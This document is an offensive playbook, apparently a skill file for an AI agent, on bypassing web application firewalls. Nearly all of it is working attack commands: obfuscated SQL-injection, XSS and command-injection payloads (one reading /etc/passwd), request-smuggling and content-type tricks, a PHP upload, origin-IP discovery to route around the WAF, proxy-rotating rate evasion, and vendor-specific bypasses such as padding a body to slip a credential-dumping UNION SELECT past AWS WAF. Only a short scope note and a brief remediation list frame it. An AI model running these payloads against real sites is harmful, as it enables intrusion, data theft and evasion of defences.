WAF Bypass / Evasion

A WAF is a signature + score engine in front of the origin. Bypass goals: (a) deliver a payload the rule set does not match, (b) reach the origin directly so the WAF is out of band, or (c) keep request rate / anomaly score under thresholds while exfiltrating. OPSEC: this skill is for authorized scope. Stay within rate limits the program allows; never test live customer flows; mark traffic with a researcher header where the program asks for it (X-Bug-Bounty: <HANDLE>).

1. Recon first — fingerprint the WAF

See skills/standard/recon/web-recon/waf-detection/SKILL.md. Without a fingerprint you are guessing. Quick:

wafw00f -a "https://<TARGET>"
curl -sI "https://<TARGET>/?id=1' OR '1'='1" | grep -iE 'server|cf-ray|x-amzn|akamai|x-sucuri|x-cdn|set-cookie'
nuclei -u "https://<TARGET>" -t http/technologies/waf-detect.yaml

Note the stack: WAF vendor, CDN, origin web server, application framework. Each layer has its own parser — bypasses live in the gaps.

2. Payload obfuscation

# SQLi rule bypass — split UNION SELECT
PAYLOAD="-1'/*!50000UnIoN*/(/*!50000SeLeCt*/(group_concat(table_name))FROM(information_schema.tables))-- -"
curl -sk -G "https://<TARGET>/search" --data-urlencode "q=$PAYLOAD"

# XSS rule bypass — no parens, no "alert"
curl -sk -G "https://<TARGET>/echo" --data-urlencode 'q=<svg/onload=eval(name)>'

# Cmd-injection rule bypass — IFS for spaces, brace expansion, $@
curl -sk "https://<TARGET>/ping?host=127.0.0.1\${IFS}\$@cat\${IFS}/etc/passwd"

3. HTTP-level evasion

Bypasses that exploit parser differences between WAF and origin.

# 3.1 Chunked transfer — WAF disables inspection on chunked bodies (still common)
curl -sk -X POST "https://<TARGET>/login" \
  -H 'Transfer-Encoding: chunked' -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-binary $'1d\r\nusername=admin\'+OR+1=1--\r\n0\r\n\r\n'

# 3.2 Content-Type confusion — WAF parses as form, app parses as JSON (or vice versa)
curl -sk -X POST "https://<TARGET>/api/login" \
  -H 'Content-Type: text/plain' \
  --data '{"user":"admin\" OR 1=1--","pass":"x"}'

# 3.3 Multipart smuggling — payload hidden in a part the WAF does not inspect
curl -sk -X POST "https://<TARGET>/upload" \
  -F 'file=@evil.php;type=image/png' \
  -F 'meta={"role":"admin"};type=application/json'

# 3.4 charset= trick (UTF-7, UTF-16, IBM037)
curl -sk -X POST "https://<TARGET>/api" \
  -H 'Content-Type: application/json; charset=ibm037' \
  --data-binary @ibm037-payload.bin

# 3.5 Host-header / SNI mismatch (origin trusts internal Host, WAF inspects external)
curl -sk --resolve "internal-admin:443:$ORIGIN_IP" \
  -H 'Host: internal-admin' "https://internal-admin/admin"

# 3.6 HTTP/2 → HTTP/1 downgrade smuggling (paired with smuggling skill)
# See skills/standard/exploit/web/smuggling/SKILL.md

# 3.7 Pseudo-header injection in HTTP/2 (h2c upgrade, :path tricks)
curl -sk --http2-prior-knowledge "https://<TARGET>/" \
  -H ':path: /admin/../public' -i

# 3.8 Param pollution — WAF inspects first, app reads last (or concat)
# See skills/standard/exploit/web/hpp/SKILL.md

4. Origin-IP discovery — bypass the WAF entirely

If the WAF sits on a CDN edge (Cloudflare, Akamai, Sucuri, Imperva), reaching the origin IP directly with the right Host header takes the WAF out of band.

# 4.1 Historic DNS / certificate transparency
curl -s "https://crt.sh/?q=%25.<TARGET>&output=json" | jq -r '.[].name_value' | sort -u
# Pre-CDN A records often still resolve in passive DNS sources:
#   securitytrails / shodan / censys / dnsdumpster / viewdns
shodan search "ssl.cert.subject.cn:<TARGET>"   # finds origin certs presenting CN behind CDN
shodan search "http.title:'<TARGET>' -org:'Cloudflare,Akamai,Fastly'"
censys search 'services.tls.certificates.leaf_data.subject.common_name: "<TARGET>"' \
  --fields services.ip

# 4.2 Subdomain bleed — dev/staging/mail/cpanel rarely fronted by CDN
subfinder -d <TARGET> -silent | dnsx -resp-only | sort -u
# Look for non-CDN A records (not in Cloudflare/Akamai/Fastly ASNs)
mapcidr -cl - < ips.txt | asnmap | grep -viE 'cloudflare|akamai|fastly|imperva|incapsula|sucuri'

# 4.3 SSRF / open redirect / webhook outbound from target
#   - any target-side fetcher that calls back to attacker leaks origin IP in TCP src

# 4.4 Misconfigured mail (DMARC/SPF/MX) reveals origin mailer IP
dig +short MX <TARGET>
dig +short TXT <TARGET>

# 4.5 Validate candidate origin
curl -sk --resolve "<TARGET>:443:$ORIGIN_IP" "https://<TARGET>/" -o origin.html -w '%{http_code}\n'
diff <(curl -sk "https://<TARGET>/" | md5sum) <(md5sum < origin.html)
# Same hash + no WAF headers = origin reached.

Once on the origin, the WAF is gone. All bypasses in section 2 are unnecessary.

5. Rate / anomaly evasion

WAFs aggregate score per IP / session / fingerprint and throttle when thresholds trip.

# Distributed slow scan with jitter
shuf payloads.txt | while read p; do
  curl -sk -G "https://<TARGET>/search" --data-urlencode "q=$p" \
    -H "User-Agent: $(shuf -n1 uas.txt)" -x "$(shuf -n1 proxies.txt)" -o /dev/null \
    -w 'q=%{url_effective}  code=%{http_code}\n'
  sleep "$(awk 'BEGIN{srand(); print 2+rand()*6}')"
done

6. Per-WAF notes

Cloudflare

• Managed Ruleset is signature + ML; payload-obfuscation (sec 2) works well.
• Bot Fight / Super Bot Fight Mode JA3-fingerprints curl/python — use curl-impersonate (curl_chrome116) or requests via httpx[http2] with realistic JA3.
• cdn-cgi/trace confirms you're hitting Cloudflare; absence on a target subdomain often means origin reachable directly.
• Workers / Pages have weaker default rules than the main reverse proxy.
• 0.0.0.0/8 or unusual X-Forwarded-For is ignored by CF but sometimes trusted at origin → header-trust pivots.

Akamai (Kona / App & API Protector)

• ABCK/sensor cookie expected; missing or invalid → 403. Generate with a real browser or sensor-data generators (within scope).
• AcceptedKeyLength + JA3 fingerprinting.
• Pragma: akamai-x-cache-on, akamai-x-get-extracted-values reveals edge variables on test envs.
• Common bypass: subdomain not yet onboarded (no Property activated) → no WAF.

AWS WAF

• Rule-group based (AWSManagedRulesCommonRuleSet, SQLi, XSS). Each rule has a fixed inspection budget (~8 KB body, ~64 KB on newer plans). Oversize bodies are skipped by default — payload after the inspection limit is unfiltered.
• Inspection cap bypass: pad request body with junk to exceed the inspection limit, place payload after the cap.
• Region scoping — endpoints in non-WAF regions / shadow API gateways often lack the rule.

# AWS WAF body-cap bypass — pad with 9 KB of A's, then payload
( python3 -c 'print("A"*9000, end="")'; printf '&q=%s' "' UNION SELECT user,password FROM users--" ) \
  | curl -sk -X POST "https://<TARGET>/search" \
      -H 'Content-Type: application/x-www-form-urlencoded' --data-binary @-

ModSecurity + OWASP CRS

• Anomaly-scoring (Paranoia Level 1–4). PL1 is bypassed by almost all sec-2 tricks.
• CRS rules are public — read the rule that fires and craft around it. SecRuleEngine DetectionOnly is common in early deployments.
• Charset / Content-Type confusion is highly effective historically.
• JSON body inspection requires the JSON parser to be enabled — many deployments forget.

Imperva / Incapsula

• incap_ses_* cookie required; bots without it 403.
• Has its own rate-limit on Reputation score — high-noise scans trip it fast.
• Bypass focus: origin discovery (sec 4) often easier than payload obfuscation.

Sucuri

• Lightweight, signature-heavy. Sec-2 encoding tricks bypass the bulk of rules.
• X-Sucuri-Cache header confirms presence.

7. Tools

• wafw00f, whatwaf — vendor identification.
• nuclei http/misconfiguration/, http/cves/ with -rate-limit low.
• bypass-firewalls-by-DNS-history — automates sec 4.1.
• CloudFlair — Cloudflare origin discovery via Censys.
• curl-impersonate / tlsx — JA3/JA4 rotation.
• Burp with Bypass WAF, HTTP Smuggler, Param Miner, Hackvertor extensions.
• sqlmap --tamper=between,space2comment,space2randomblank,charunicodeencode,... (chain tamper scripts per WAF).
• ffuf -H rotation, -p per-request delay, -rate cap.

8. Detection signatures (defenders)

Remediation: lock origin firewall to CDN egress ranges only; enable strict-charset / strict-content-type at the edge; raise inspection cap or block oversized unauthenticated bodies; ratchet ModSecurity to PL2+; rotate origin IP after CDN onboarding; enforce JA3/JA4 allowlists where business permits.

9. Decision gate

Cross-references

• WAF fingerprint recon: skills/standard/recon/web-recon/waf-detection/SKILL.md
• HTTP smuggling (paired parser-discrepancy bypass): skills/standard/exploit/web/smuggling/SKILL.md
• HTTP Parameter Pollution: skills/standard/exploit/web/hpp/SKILL.md
• Verb tampering (rule sets keyed on GET/POST only): skills/standard/exploit/web/verb-tampering/SKILL.md
• SQLi tamper / blind: skills/standard/exploit/web/sqli/SKILL.md
• Subdomain takeover (origin pivot via trusted subdomain): skills/standard/recon/web-recon/subdomain-takeover/SKILL.md